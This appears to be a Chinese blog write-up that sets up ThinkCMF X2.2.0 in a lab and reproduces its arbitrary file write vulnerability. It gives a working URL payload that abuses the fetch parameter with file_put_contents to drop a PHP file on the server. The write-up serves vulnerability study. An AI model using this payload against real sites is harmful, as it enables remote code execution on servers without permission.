Thinkcmf2.2安装以及任意文件写入漏洞复现

I thinkcmf安装

1.下载ThinkCMF X2.2.0 链接: https://pan.baidu.com/s/1dEJJoU9?errno=0&errmsg=Auth%20Login%20Sucess&&bduss=&ssnerror=0&traceid=

此处我使用宝塔面板来搭建网站和安装thinkcmf2.2

2.进入宝塔面板点击你搭建的网站的根目录

在这里插入图片描述
上传你刚才下载的thinkcmf2.2的安装包
在这里插入图片描述

注意:

只能上传压缩包,上传成功后点击文件解压缩
在这里插入图片描述
压缩成功后点击左侧栏网站,修改网站目录,选择cmf2.2
在这里插入图片描述
然后点击域名
在这里插入图片描述
在这里插入图片描述
安装成功,如图
在这里插入图片描述

II. thinkcmf漏洞复现

0x01 漏洞概述

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 漏洞利用

通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

phpinfo版payload如下:

/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)

这段的意思是生成一个叫 test.php的文件,输出的是phpinfo的界面
把这个payload粘贴到网站
在这里插入图片描述
执行payload,页面是空白的

访问test.php,可以看到phpinfo已经加载出来
在这里插入图片描述 ok